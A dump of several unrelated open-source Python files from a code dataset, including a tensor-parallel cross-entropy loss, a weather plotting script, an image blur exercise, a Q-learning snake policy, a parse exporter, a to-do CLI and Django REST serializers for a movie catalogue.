_VocabParallelCrossEntropy1D(torch.autograd.Function):\n @staticmethod\n @custom_fwd(cast_inputs=torch.float32)\n def forward(ctx, vocab_parallel_logits, targets):\n\n # Maximum value along vocab dimension across all GPUs.\n logits_max = torch.max(vocab_parallel_logits, dim=-1)[0]\n torch.distributed.all_reduce(logits_max, op=torch.distributed.ReduceOp.MAX, group=pm.PARALLEL_1D.group)\n # Subtract the maximum value.\n vocab_parallel_logits.sub_(logits_max.unsqueeze(dim=-1))\n\n # Get the partition's vocab indecies\n partition_vocab_size = vocab_parallel_logits.size()[-1]\n rank = pm.PARALLEL_1D.local_rank\n vocab_start_index = partition_vocab_size * rank\n vocab_end_index = vocab_start_index + partition_vocab_size\n\n # Create a mask of valid vocab ids (1 means it needs to be masked).\n target_mask = (targets < vocab_start_index) | (targets >= vocab_end_index)\n masked_target = targets.clone() - vocab_start_index\n masked_target[target_mask] = 0\n\n # Get predicted-logits = logits[target].\n # For Simplicity, we convert logits to a 2-D tensor with size\n # [*, partition-vocab-size] and target to a 1-D tensor of size [*].\n logits_2d = vocab_parallel_logits.view(-1, partition_vocab_size)\n masked_target_1d = masked_target.view(-1)\n arange_1d = torch.arange(start=0, end=logits_2d.size()[0], device=logits_2d.device)\n predicted_logits_1d = logits_2d[arange_1d, masked_target_1d]\n predicted_logits_1d = predicted_logits_1d.clone().contiguous()\n predicted_logits = predicted_logits_1d.view_as(targets)\n predicted_logits[target_mask] = 0.0\n # All reduce is needed to get the chunks from other GPUs.\n torch.distributed.all_reduce(predicted_logits, op=torch.distributed.ReduceOp.SUM, group=pm.PARALLEL_1D.group)\n\n # Sum of exponential of logits along vocab dimension across all GPUs.\n exp_logits = vocab_parallel_logits\n torch.exp(vocab_parallel_logits, out=exp_logits)\n sum_exp_logits = exp_logits.sum(dim=-1)\n torch.distributed.all_reduce(sum_exp_logits, op=torch.distributed.ReduceOp.SUM, group=pm.PARALLEL_1D.group)\n\n # Loss = log(sum(exp(logits))) - predicted-logit.\n loss = torch.log(sum_exp_logits) - predicted_logits\n # Store softmax, target-mask and masked-target for backward pass.\n exp_logits.div_(sum_exp_logits.unsqueeze(dim=-1))\n ctx.save_for_backward(exp_logits, target_mask, masked_target_1d)\n return loss\n\n @staticmethod\n @custom_bwd\n def backward(ctx, grad_output):\n\n # Retreive tensors from the forward path.\n softmax, target_mask, masked_target_1d = ctx.saved_tensors\n\n # All the inputs have softmax as thier gradient.\n grad_input = softmax\n # For simplicity, work with the 2D gradient.\n partition_vocab_size = softmax.size()[-1]\n grad_2d = grad_input.view(-1, partition_vocab_size)\n\n # Add the gradient from matching classes.\n arange_1d = torch.arange(start=0, end=grad_2d.size()[0], device=grad_2d.device)\n grad_2d[arange_1d, masked_target_1d] -= 1.0 - target_mask.view(-1).float()\n\n # Finally elementwise multiplication with the output gradients.\n grad_input.mul_(grad_output.unsqueeze(dim=-1))\n\n return grad_input, None\n\n\nclass VocabParallelCrossEntropyLoss1D(nn.Module):\n def __init__(self, reduction=True):\n super().__init__()\n self.reduction_mean = reduction\n\n def forward(self, logits, targets):\n loss = _VocabParallelCrossEntropy1D.apply(logits, targets)\n if self.reduction_mean:\n loss = loss.mean()\n return loss\n","repo_name":"kurisusnowdeng/Cubework","sub_path":"cubework/module/loss/loss_1d.py","file_name":"loss_1d.py","file_ext":"py","file_size_in_byte":4009,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"26060392169","text":"from weather import Weather\r\nimport matplotlib.pyplot as plt\r\nfrom datetime import datetime\r\n\r\n\r\ndef f_to_c(self,listname=[]):\r\n\tlistname = [(((listname[i] - 32)*5)/9 for i in range(len(listname)))]\r\n\treturn listname\r\n\r\n#sitka weather\r\nsitka = Weather('data/sitka_weather_07-2018_simple.csv')\r\n#sitka.index_value()\r\nsitka_x, sitka_y, sitka_dates = sitka.plot_graph(2,5,6)\r\n#sitka_x = f_to_c(sitka_x)\r\n\r\ndeath_valley = Weather('data/death_valley_2018_simple.csv')\r\n#death_valley.index_value()\r\ndeath_valley_x, death_valley_y, death_valley_dates = death_valley.plot_graph(2,4,5)\r\n\r\n\r\n#Barrie Weather\r\nbarrie = Weather('data/weatherstats_barrie_daily.csv')\r\n# barrie.index_value()\r\nbarrie_x, barrie_y, dates = barrie.plot_graph(1,3,6)\r\n\r\n#PLot the high low temperatures\r\nplt.style.use('seaborn')\r\nfig, ax = plt.subplots()\r\n# alpha is color transperacncey, 0-complete transparent, 1 to opaque\r\n#sitka graph plot\r\nax.plot(sitka_dates, sitka_x, c='red', alpha=0.5)\r\n# ax.plot(dates, sitka_y, c='blue', alpha=0.5)\r\n# ax.fill_between(self.dates, self.highs, self.lows, facecolor='blue', alpha=0.1)\r\n#death_valley graph plot\r\nax.plot(death_valley_dates, death_valley_x, c='green', alpha=0.5)\r\n# # ax.plot(dates, death_valley_y, c='blue', alpha=0.5)\r\n# # ax.fill_between(self.dates, self.highs, self.lows, facecolor='blue', alpha=0.1)\r\n# #barrie graph plot\r\nax.plot(dates, barrie_x, c='blue', alpha=0.5)\r\n#ax.plot(dates, barrie_y, c='blue', alpha=0.5)\r\n# ax.fill_between(self.dates, self.highs, self.lows, facecolor='blue', alpha=0.1)\r\n\r\n\r\n#format plot.\r\n#Set chart title and label axes\r\nax.set_title(\"Daily high temperatures b/w \\n Sitka, Death Valley, Barrie - 2018\", fontsize=20)\r\nax.set_xlabel(\"\", fontsize=16)\r\n# to format x axes diagonaly\r\nfig.autofmt_xdate()\r\nax.set_ylabel(\"Temperature(F)\", fontsize=16)\r\n#Set size of tick labels.\r\nax.tick_params(axis='both', which='major',labelsize=16)\r\nplt.show()","repo_name":"thisisglee/Data-Visualizations","sub_path":"weather_visual.py","file_name":"weather_visual.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9805235880","text":"import numpy as np, cv2\r\nfrom Common.filters import filter, filter2\r\n\r\nimage = cv2.imread(\"images/13.jpg\", cv2.IMREAD_GRAYSCALE)\r\nif image is None: raise Exception(\"영상파일 읽기 오류\")\r\n\r\ndata = [1/9, 1/9, 1/9,\r\n 1/9, 1/9, 1/9,\r\n 1/9, 1/9, 1/9]\r\nmask = np.array(data, np.float32).reshape(3, 3)\r\n\r\nblur1 = filter(image, mask)\r\nblur2 = filter2(image, mask)\r\nblur3 = cv2.blur(image, (3, 3))\r\n\r\nblur1 = blur1.astype('uint8')\r\nblur2 = cv2.convertScaleAbs(blur2)\r\n\r\ncv2.imshow(\"blur1\", blur1)\r\ncv2.imshow(\"blur2\", blur2)\r\ncv2.imshow(\"blur3\", blur3)\r\ncv2.waitKey(0)","repo_name":"nahyeongjin1/PoseEstimation","sub_path":"CHAPTER07/exercise/13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71499020844","text":"from policies import base_policy as bp\nimport numpy as np\nimport tensorflow as tf\ntf.logging.set_verbosity(tf.logging.ERROR)\n\nEPSILON = 0.05\nSTATE_DIM=3\nDISCOUNT=0.0\nLR=0.1\nDECAY_ROUND=1000\nNUM_ROTATES = {\"N\": 0, \"E\": 1, \"S\": 2, \"W\": 3}\nNUM_BOARD_VALUES=11\n\ndef get_state_from_board(state):\n board, head = state\n head_pos, direction = head\n res = np.zeros((STATE_DIM,STATE_DIM, NUM_BOARD_VALUES))\n for r in range(STATE_DIM):\n for c in range(STATE_DIM):\n board_r = (head_pos[0]-int(STATE_DIM/2) + r) % board.shape[0]\n board_c = (head_pos[1]-int(STATE_DIM/2) + c) % board.shape[1]\n res[r, c, board[board_r, board_c] + 1] = 1\n\n # rotate matrix to allign all directions\n res = np.rot90(res, k=NUM_ROTATES[direction])\n\n return res.flatten()\n\ndef get_action_index(action):\n return bp.Policy.ACTIONS.index(action)\n\nclass LinearQ(bp.Policy):\n \"\"\"\n A policy which avoids collisions with obstacles and other snakes. It has an epsilon parameter which controls the\n percentag of actions which are randomly chosen.\n \"\"\"\n def cast_string_args(self, policy_args):\n policy_args['epsilon'] = float(policy_args['epsilon']) if 'epsilon' in policy_args else EPSILON\n policy_args['discount'] = float(policy_args['discount']) if 'discount' in policy_args else DISCOUNT\n return policy_args\n\n def init_run(self):\n self.exploration_decay = self.epsilon / (self.game_duration - self.score_scope - DECAY_ROUND)\n num_actions = len(bp.Policy.ACTIONS)\n state_dim = NUM_BOARD_VALUES*(STATE_DIM**2)\n self.W_trainable = np.random.normal(size=(num_actions, state_dim))\n self.b_trainable = np.random.normal(size=(num_actions,))\n\n def learn(self, round, prev_state, prev_action, reward, new_state, too_slow):\n gs_num = 0\n new_state = get_state_from_board(new_state)\n prev_state = get_state_from_board(prev_state)\n prev_action = get_action_index(prev_action)\n\n future_q_val = np.max(np.dot(self.W_trainable, new_state) + self.b_trainable)\n last_round_trainable_out = np.dot(self.W_trainable, prev_state) + self.b_trainable\n delta = last_round_trainable_out[[prev_action]] - reward - DISCOUNT*future_q_val\n\n self.W_trainable[prev_action] -= LR*delta*prev_state\n self.b_trainable[prev_action] -= LR*delta\n\n gs_num += 1\n\n if round > DECAY_ROUND:\n self.epsilon -= self.exploration_decay\n\n if round % 100 == 0 :\n self.log(\"GS: %d Epsilon: %f\"%(gs_num, self.epsilon))\n\n def act(self, round, prev_state, prev_action, reward, new_state, too_slow):\n if round > DECAY_ROUND:\n self.epsilon = max(0,self.epsilon - self.exploration_decay)\n\n if prev_state is None or prev_action is None or reward is None:\n return 'F'\n\n if np.random.rand() < self.epsilon:\n return np.random.choice(bp.Policy.ACTIONS)\n else:\n new_state_vec = get_state_from_board (new_state)\n net_out = np.dot(self.W_trainable, new_state_vec) + self.b_trainable\n best_action_index = np.argmax(net_out)\n best_action = bp.Policy.ACTIONS[best_action_index]\n return best_action\n\n","repo_name":"ariel415el/APMLProject","sub_path":"policies/policy_linearQ.py","file_name":"policy_linearQ.py","file_ext":"py","file_size_in_byte":3255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31083278463","text":"def distance(x, y):\n return abs( y - x )\n\ndef invertstate( states ):\n inv = {}\n for s in states:\n if states[s] in inv:\n inv[states[s]].append( s )\n else:\n inv[states[s]] = [s]\n return inv\nstate0 = invertstate({1: 'A',\n 2: 'B',\n 3: 'G',\n 4: '',\n 5: ''})\n\nstate1 = invertstate( {1: '',\n 2: 'B',\n 3: 'A',\n 4: 'B',\n 5: 'G'})\n\nstate2 = invertstate( {1: 'B',\n 2: 'B',\n 3: 'A',\n 4: '',\n 5: 'G'})\n \nstate3 = invertstate( {1: 'A',\n 2: '',\n 3: 'G',\n 4: 'B',\n 5: ''})\n \ndef f1(locationOf):\n \"\"\" distance from agent A to goal G \"\"\"\n agentA = locationOf['A'][0]\n goal = locationOf['G'][0]\n return distance( agentA, goal )\n\ndef f2( locationsOf ):\n \"\"\" distance from agent A to closest bad guy B \"\"\"\n agentA = locationsOf['A'][0]\n return min( [ distance( agentA, badguy ) for badguy in locationsOf['B'] ] )\n\ndef f3( locationsOf ):\n \"\"\" distance of closest bad guy to goal \"\"\"\n goal = locationsOf['G'][0]\n return min( [ distance( goal, badguy ) for badguy in locationsOf['B'] ] )\n \n\n\n\n\ndef f4( locationsOf ):\n \"\"\" distance of (closest bad guy to A) to goal \"\"\"\n closestDistance = 100\n for badguy in locationsOf['B']:\n dist = distance( locationsOf['A'][0], locationsOf['B'][badguy] )\n if dist < closestDistance:\n closestDistance = dist\n closestBadguy = badguy\n return distance( locationsOf['G'][0], locationsOf['B'][closestBadguy] )\n \n\n\ndef F( state ):\n return [ f1( state ), f2( state ) ]\n\ndef G( state ):\n return [ f1( state ), f2( state ), f3( state ) ]\n","repo_name":"zengkl/agi","sub_path":"ai-class/hw/hw5/rl.py","file_name":"rl.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"36242319173","text":"import sys, os, shutil\nimport codecs\nfrom Utils.ProgressCounter import ProgressCounter\ntry:\n import xml.etree.cElementTree as ET\nexcept ImportError:\n import cElementTree as ET\nfrom Parser import Parser\nimport Utils.ElementTreeUtils as ETUtils\nimport Utils.InteractionXML.InteractionXMLUtils as IXMLUtils\nimport Utils.Range\nfrom collections import defaultdict, OrderedDict\nimport json\n\nclass ParseExporter(Parser):\n def __init__(self):\n Parser.__init__(self)\n self.unEscDict = {}\n for k, v in self.escDict.iteritems():\n self.unEscDict[v] = k\n\n def getTokenText(self, tokenElement):\n # it's unlikely there would be newlines inside tokens\n return tokenElement.get(\"text\").replace(\"\\n\", \" \").replace(\"\\r\", \" \").strip()\n \n# def getTokens(self, tokenizationElement):\n# # order tokens by charOffset\n# tokenObjs = []\n# for token in tokenizationElement.findall(\"token\"):\n# charOffset = token.get(\"charOffset\")\n# begin, end = charOffset.split(\"-\")\n# tokenObjs.append( [int(begin), int(end), token] )\n# tokenObjs.sort()\n# \n# # Get token texts, and mark indices moved by splitting\n# index = 0\n# tokenTextById = {}\n# tokenById = {} #tokenIdMap = {} # zero-based\n# splitFrom = None\n# for tokenObj in tokenObj:\n# token = tokenObj[2]\n# tokenId = token.get(\"id\")\n# if token.get(\"splitFrom\") != None:\n# if splitFrom != token.get(\"splitFrom\"): # this token begins a new set of split tokens\n# splitFrom = token.get(\"splitFrom\")\n# tokenTexts.append(self.getTokenText(token))\n# else: # this token continues an existing set of split tokens\n# tokenTexts[-1] = tokenTexts[-1] + self.getTokenText(token)\n# else: # a non-split token\n# splitFrom = None\n# tokenTexts.append(self.getTokenText(token))\n# #tokenIdMap[index] = len(tokenTexts) - 1\n# tokenById[token.get(\"id\")] = token\n# index += 1\n# return tokenTexts, tokenById\n\n# def getTokens(self, tokenizationElement, escaping=False):\n# tokens = []\n# for token in tokenizationElement.findall(\"token\"):\n# charOffset = token.get(\"charOffset\")\n# begin, end = charOffset.split(\"-\")\n# tokens.append( [int(begin), int(end), token, token.get(\"text\")] )\n# if escaping:\n \n def getSortedTokens(self, tokenizationElement):\n tokens = sorted([(Utils.Range.charOffsetToSingleTuple(x.get(\"charOffset\")), x) for x in tokenizationElement.findall(\"token\")])\n return [x[1] for x in tokens]\n \n def getEscapedTokenTexts(self, tokens):\n tokenTextById = {}\n escDictKeys = sorted(self.unEscDict.keys())\n for token in tokens:\n for key in escDictKeys:\n tokenTextById[token.get(\"id\")] = token.get(\"text\").replace(key, self.unEscDict[key])\n return tokenTextById\n \n def getTokenIndexById(self, sortedTokens):\n return {sortedTokens[i].get(\"id\"):i for i in range(len(sortedTokens))}\n \n def getDependenciesByToken(self, parseElement, tokenAttrName):\n assert tokenAttrName in (\"t1\", \"t2\")\n dependenciesByToken = {}\n for dep in parseElement.findall(\"dependency\"):\n tId = dep.get(tokenAttrName)\n if tId not in dependenciesByToken:\n dependenciesByToken[tId] = []\n dependenciesByToken[tId].append(dep)\n return dependenciesByToken\n \n def exportTokenization(self, tokenizationElement, parseElement, sentenceElement, outFile):\n tokens = self.getSortedTokens(tokenizationElement)\n if len(tokens) > 0:\n outFile.write(\" \".join([x.get(\"text\") for x in tokens]) + \"\\n\")\n else:\n outFile.write(\" \".join(sentenceElement.get(\"text\").strip().split()) + \"\\n\")\n return True \n \n def exportPennTreeBank(self, parseElement, outFile):\n pennstring = None\n if parseElement != None:\n pennstring = parseElement.get(\"pennstring\")\n if pennstring != None and pennstring.strip() != \"\":\n outFile.write(pennstring.strip())\n outFile.write(\"\\n\")\n return pennstring != None\n \n def exportStanfordDependencies(self, parseElement, tokenizationElement, outFile, tokenIdOffset=0):\n #global unEscDict\n #escDictKeys = sorted(self.unEscDict.keys())\n \n tokens = []\n # Collect tokens\n if tokenizationElement != None:\n tokens = self.getSortedTokens(tokenizationElement)\n #tokenById = {x[\"id\"]:x for x in tokens}\n tokenTextById = self.getEscapedTokenTexts(tokens)\n #for token in tokens:\n # for key in escDictKeys:\n # tokenTextById[token[\"id\"]] = token[\"text\"].replace(key, self.unEscDict[key])\n tokenIndexById = self.getTokenIndexById(tokens)\n \n # Process dependencies\n if parseElement != None:\n for dependency in parseElement.findall(\"dependency\"):\n if dependency.get(\"split\") != None: # ignore dependencies created by protein name splitter\n continue\n t1Id = dependency.get(\"t1\")\n t2Id = dependency.get(\"t2\")\n #t1Index = tokenIdMap[int(dependency.get(\"t1\").split(\"_\")[-1]) + tokenIdOffset] # tokenIdOffset can convert to zero-based\n #t2Index = tokenIdMap[int(dependency.get(\"t2\").split(\"_\")[-1]) + tokenIdOffset] # tokenIdOffset can convert to zero-based\n #assert t1Index < len(tokens), (t1Index, tokens, tokenIdMap, dependency.attrib)\n #assert t2Index < len(tokens), (t2Index, tokens, tokenIdMap, dependency.attrib)\n t1 = tokenTextById[t1Id] + \"-\" + str(tokenIndexById[t1Id] + 1)\n t2 = tokenTextById[t2Id] + \"-\" + str(tokenIndexById[t2Id] + 1)\n outFile.write(dependency.get(\"type\") + \"(\" + t1 + \", \" + t2 + \")\\n\")\n outFile.write(\"\\n\") # one more newline to end the sentence (or to mark a sentence with no dependencies)\n return parseElement != None\n \n def exportCoNLL(self, tokenizationElement, parseElement, outFile, conllFormat, counts):\n tokens = self.getSortedTokens(tokenizationElement)\n tokenIndexById = self.getTokenIndexById(tokens)\n tokenIdMap = {key:str(tokenIndexById[key] + 1) for key in tokenIndexById}\n for token in tokens:\n if token.get(\"origId\") != None:\n tokenIdMap[token.get(\"id\")] = token.get(\"origId\")\n if len(tokenIdMap.values()) != len(set(tokenIdMap.values())):\n raise Exception(\"Duplicate ids in exporting CoNLL format\")\n dependenciesByHead = self.getDependenciesByToken(parseElement, \"t2\")\n conllFormat = self.getCoNLLFormat(conllFormat=conllFormat)\n columns = self.getCoNLLColumns(conllFormat=conllFormat)\n for metadata in parseElement.findall(\"meta\"):\n metaline = u\"# \"\n if metadata.get(\"type\") != None:\n metaline += metadata.get(\"type\") + \" = \"\n metaline += metadata.get(\"text\") + \"\\n\"\n outFile.write(metaline)\n for i in range(len(tokens)):\n token = tokens[i]\n row = {}\n for column in columns:\n if column == \"ID\":\n #if token.get(\"origId\") != None:\n # tokenIdMap[token.get(\"id\")] = token.get(\"origId\")\n row[column] = tokenIdMap[token.get(\"id\")]\n elif column == \"FORM\":\n row[column] = token.get(\"text\")\n if token.get(\"origText\") != None:\n row[column] = token.get(\"origText\")\n else:\n row[column] = \"_\"\n for key in (column, column.lower()):\n if token.get(key) != None:\n row[column] = token.get(key)\n if conllFormat == \"conllx\" and row.get(\"POSTAG\") == \"_\" and row.get(\"CPOSTAG\") == \"_\":\n row[\"CPOSTAG\"] = token.get(\"POS\", \"_\")\n elif conllFormat == \"conllu\" and row.get(\"UPOSTAG\") == \"_\" and row.get(\"XPOSTAG\") == \"_\":\n row[\"UPOSTAG\"] = token.get(\"POS\", \"_\")\n # Add dependencies\n tokenId = token.get(\"id\")\n if tokenId in dependenciesByHead:\n primaryDeps = [x for x in dependenciesByHead[tokenId] if x.get(\"secondary\") == None]\n secondaryDeps = [x for x in dependenciesByHead[tokenId] if x.get(\"secondary\") == \"True\"]\n # Check if any dependencies will be lost\n if len(primaryDeps) > 1:\n if conllFormat == \"conllx\": # CoNLL-X can have only one dependency per token\n counts[\"tokens-with-lost-deps\"] += len(primaryDeps) - 1\n else: # CoNLL-U can have only one primary dependency per token\n counts[\"tokens-with-unranked-deps\"] += len(primaryDeps) - 1\n secondaryDeps += primaryDeps[1:]\n # Add the single primary dependency\n if len(primaryDeps) > 0:\n row[\"HEAD\"] = tokenIdMap[primaryDeps[0].get(\"t1\")]\n row[\"DEPREL\"] = primaryDeps[0].get(\"type\")\n # If the token is the root token, set the primary dependency as the root dependency\n if token.get(\"root\") != None:\n if \"HEAD\" in row:\n counts[\"tokens-with-lost-root-dep\"] += 1\n else:\n row[\"HEAD\"] = 0\n row[\"DEPREL\"] = token.get(\"root\")\n # In CoNLL-U format, add the secondary dependencies\n if len(secondaryDeps) > 0 and conllFormat == \"conllu\":\n #secondaryDeps = [x[1] for x in sorted([(tokenIndexById[x.get(\"t1\")], x) for x in secondaryDeps])] # Sort by token index\n secondaryDeps.sort(key=lambda x: tokenIndexById[x.get(\"t1\")])\n row[\"DEPS\"] = \"|\".join([tokenIdMap[x.get(\"t1\")] + \":\" + x.get(\"type\") for x in secondaryDeps])\n outFile.write(\"\\t\".join(row[x] for x in columns) + \"\\n\")\n outFile.write(\"\\n\") # one more newline to end the sentence (or to mark a sentence with no parse)\n return parseElement != None\n \n def exportEPE(self, tokenizationElement, parseElement, sentence, sentenceCount, outFile, propertyTypes=\"AUTO\"):\n tokens = self.getSortedTokens(tokenizationElement) if tokenizationElement != None else []\n if len(tokens) == 0: # There is no parse for this sentence\n return False\n tokenIndexById = self.getTokenIndexById(tokens)\n dependenciesByHead = self.getDependenciesByToken(parseElement, \"t1\") if parseElement != None else {}\n obj = OrderedDict([(\"id\",sentenceCount + 1), (\"nodes\",[])])\n basicKeys = set([\"POS\", \"text\", \"origText\", \"charOffset\", \"headOffset\"])\n if propertyTypes == \"AUTO\":\n propertyTypes = (\"POS\", \"lemma\")\n sentencePos = Utils.Range.charOffsetToSingleTuple(sentence.get(\"charOffset\"))[0]\n for i in range(len(tokens)):\n token = tokens[i]\n #print token.attrib\n charOffset = Utils.Range.charOffsetToSingleTuple(token.get(\"charOffset\"))\n node = OrderedDict([(\"id\",i+1), (\"form\",token.get(\"text\")), (\"start\",charOffset[0] + sentencePos), (\"end\",charOffset[1] + sentencePos)])\n if token.get(\"origText\") != None:\n node[\"form\"] = token.get(\"origText\")\n if token.get(\"root\") != None:\n node[\"top\"] = True\n node[\"properties\"] = OrderedDict([(\"pos\",token.get(\"POS\"))])\n for key in token.attrib:\n if key not in basicKeys:\n if propertyTypes == None or key in propertyTypes:\n node[\"properties\"][key] = token.get(key)\n # Add dependencies\n tokenId = token.get(\"id\")\n if tokenId in dependenciesByHead:\n #print token.attrib, [x.attrib for x in dependenciesByHead[tokenId]]\n edges = []\n for dep in dependenciesByHead[tokenId]:\n edges.append(OrderedDict([(\"label\",dep.get(\"type\")), (\"target\",tokenIndexById[dep.get(\"t2\")] + 1)]))\n edges.sort(key=lambda k: k[\"target\"], reverse=True)\n node[\"edges\"] = edges\n obj[\"nodes\"].append(node)\n outFile.write(json.dumps(obj) + \"\\n\")\n return True\n \n def export(self, input, output, parseName, tokenizerName=None, toExport=[\"tok\", \"ptb\", \"sd\"], inputSuffixes=None, clear=False, tokenIdOffset=0, exportIds=None, useSetDirs=False):\n print >> sys.stderr, \"##### Export Parse #####\"\n if toExport == None:\n toExport = [\"txt\", \"sentences\", \"tok\", \"ptb\", \"sd\"]\n print >> sys.stderr, \"Exporting parse formats\", toExport\n \n if os.path.exists(output) and clear:\n shutil.rmtree(output)\n if not os.path.exists(output):\n os.makedirs(output)\n if inputSuffixes != None:\n inputFileNames = []\n for suffix in inputSuffixes:\n inputFileNames.append(input + suffix)\n else:\n inputFileNames = [input]\n \n for inputFileName in inputFileNames:\n print >> sys.stderr, \"Processing input file\", inputFileName\n corpusRoot = ETUtils.ETFromObj(inputFileName).getroot()\n documents = corpusRoot.findall(\"document\")\n counter = ProgressCounter(len(documents), \"Documents\")\n counts = {\"corpus\":defaultdict(int)}\n for fileExt in toExport:\n counts[fileExt] = defaultdict(int)\n for document in documents:\n counter.update()\n counts[\"corpus\"][\"documents\"] += 1\n exportId = IXMLUtils.getExportId(document, exportIds)\n # Open document output files\n outfiles = {}\n for fileExt in toExport:\n #print output, exportId , fileExt\n if useSetDirs:\n outfilePath = os.path.join(output, document.get(\"set\"), exportId + \".\" + fileExt)\n else:\n outfilePath = os.path.join(output, exportId + \".\" + fileExt)\n if os.path.exists(outfilePath): # check for overlapping files\n raise Exception(\"Export file '\" + str(outfilePath) + \"' already exists\")\n if not os.path.exists(os.path.dirname(outfilePath)):\n os.makedirs(os.path.dirname(outfilePath))\n outfiles[fileExt] = codecs.open(outfilePath, \"wt\", \"utf-8\")\n # Export document text\n if \"txt\" in outfiles and document.get(\"text\") != None:\n outfiles[\"txt\"].write(document.get(\"text\"))\n if \"txt\" not in counts:\n counts[\"txt\"] = defaultdict(int)\n counts[\"txt\"][\"documents\"] += 1\n # Process all the sentences in the document\n sentenceCount = 0\n for sentence in document.findall(\"sentence\"):\n counts[\"corpus\"][\"sentences\"] += 1\n parse = IXMLUtils.getParseElement(sentence, parseName)\n tokenization = IXMLUtils.getTokenizationElement(sentence, tokenizerName)\n if \"sentences\" in outfiles:\n outfiles[\"sentences\"].write(sentence.get(\"text\").strip().replace(\"\\n\", \" \").replace(\"\\r\", \" \") + \"\\n\")\n counts[\"sentences\"][\"sentences\"] += 1\n if \"ptb\" in outfiles:\n if self.exportPennTreeBank(parse, outfiles[\"ptb\"]):\n counts[\"ptb\"][\"sentences\"] += 1\n if tokenization != None:\n if \"tok\" in outfiles:\n if self.exportTokenization(tokenization, parse, sentence, outfiles[\"tok\"]):\n counts[\"tok\"][\"sentences\"] += 1\n if \"sd\" in outfiles:\n if self.exportStanfordDependencies(parse, tokenization, outfiles[\"sd\"], tokenIdOffset):\n counts[\"sd\"][\"sentences\"] += 1\n for conllFormat in (\"conll\", \"conllx\", \"conllu\"):\n if conllFormat in outfiles:\n if self.exportCoNLL(tokenization, parse, outfiles[conllFormat], conllFormat, counts[conllFormat]):\n counts[conllFormat][\"sentences\"] += 1\n if \"epe\" in outfiles:\n if self.exportEPE(tokenization, parse, sentence, sentenceCount, outfiles[\"epe\"]):\n counts[\"epe\"][\"sentences\"] += 1\n sentenceCount += 1\n # Close document output files\n for fileExt in outfiles:\n outfiles[fileExt].close()\n outfiles[fileExt] = None\n \n print >> sys.stderr, \"Parse export counts:\"\n for k in sorted(counts.keys()):\n print >> sys.stderr, \" \" + str(k) + \":\", dict(counts[k])","repo_name":"jbjorne/TEES","sub_path":"Tools/ParseExporter.py","file_name":"ParseExporter.py","file_ext":"py","file_size_in_byte":17553,"program_lang":"python","lang":"en","doc_type":"code","stars":146,"dataset":"github-code","pt":"19"} +{"seq_id":"16639242765","text":"import functions\nimport time\n\nnow = time.strftime(\"%b %d, %Y %H:%M:%S\")\nuser_prompt = \"Type 'add', 'show', 'edit', 'complete', or 'exit': \\n\"\n\nwhile True:\n command = input(user_prompt)\n command = command.strip()\n\n if command.startswith('add'):\n todo = command[4:]\n \n todo_list = functions.get_todos()\n \n todo_list.append(todo + '\\n')\n \n functions.write_todos(todo_list)\n \n elif command.startswith('show'):\n todo_list = functions.get_todos()\n\n for index, item in enumerate(todo_list):\n item = item.strip('\\n')\n print(f'{index + 1}. {item}')\n \n elif command.startswith('edit'):\n try:\n num = int(command[5:])\n num = num - 1\n \n todo_list = functions.get_todos()\n \n new_todo = input(\"Enter new todo: \\n\")\n todo_list[num] = new_todo + '\\n'\n \n functions.write_todos(todo_list)\n \n except ValueError:\n print(\"Your command is not valid.\")\n continue\n \n elif 'complete' in command:\n try:\n done = int(command[9:])\n \n todo_list = functions.get_todos('todo.txt')\n \n temp = todo_list[done-1].strip('\\n')\n todo_list.pop(done-1)\n \n functions.write_todos(todo_list)\n \n print(f'To do - {temp} - has been marked as complete! \\n')\n except IndexError:\n print(\"Out of range index.\")\n continue\n \n elif command.startswith('exit'):\n break\n \n else:\n print(\"Unknown command\")\n\nprint('Bye')","repo_name":"ckaranassios/PythonProjects","sub_path":"Python Apps/App_1_ToDoTracker/ToDoApp.py","file_name":"ToDoApp.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"4895181583","text":"from drf_yasg.utils import swagger_serializer_method\nfrom rest_framework import serializers\n\nfrom api.serializers.mixins import (IsFavoriteMixin, IsNeedSeeMixin,\n RateInMovieMixin)\nfrom morec.settings import SHORT_DESCRIPT_LEN, MIN_RATE, MAX_RATE\nfrom movies.models import Category, Country, Genre, Movie, RatingMovie\n\n\nclass GenreInMovieSerializer(serializers.ModelSerializer):\n class Meta:\n model = Genre\n fields = ('id', 'title', 'slug')\n\n\nclass CountryInMovieSerializer(serializers.ModelSerializer):\n class Meta:\n model = Country\n fields = ('id', 'title', 'slug')\n\n\nclass CategoryInMovieSerializer(serializers.ModelSerializer):\n class Meta:\n model = Category\n fields = ('id', 'title', 'slug')\n\n\nclass MoviesListSerializer(\n RateInMovieMixin,\n IsFavoriteMixin,\n IsNeedSeeMixin,\n serializers.ModelSerializer,\n):\n year = serializers.SerializerMethodField()\n genres = serializers.StringRelatedField(many=True)\n countries = CountryInMovieSerializer(many=True)\n actors = serializers.StringRelatedField(many=True)\n directors = serializers.StringRelatedField(many=True)\n\n class Meta:\n model = Movie\n fields = (\n 'id',\n 'title',\n 'v_picture',\n 'h_picture',\n 'rating',\n 'year',\n 'genres',\n 'actors',\n 'directors',\n 'countries',\n 'is_favorite',\n 'is_need_see',\n )\n\n @swagger_serializer_method(serializer_or_field=serializers.IntegerField)\n def get_year(self, obj):\n return obj.premiere_date.year\n\n\nclass MoviesFavoritsAndWatchlistSerializer(MoviesListSerializer):\n class Meta:\n model = Movie\n fields = (\n 'id',\n 'title',\n 'h_picture',\n 'rating',\n 'year',\n 'genres',\n 'is_favorite',\n 'is_need_see',\n )\n\n\nclass MoviesDetailSerializer(\n RateInMovieMixin,\n IsFavoriteMixin,\n IsNeedSeeMixin,\n serializers.ModelSerializer,\n):\n genres = GenreInMovieSerializer(many=True)\n countries = CountryInMovieSerializer(many=True)\n categories = CategoryInMovieSerializer()\n actors = serializers.StringRelatedField(many=True)\n directors = 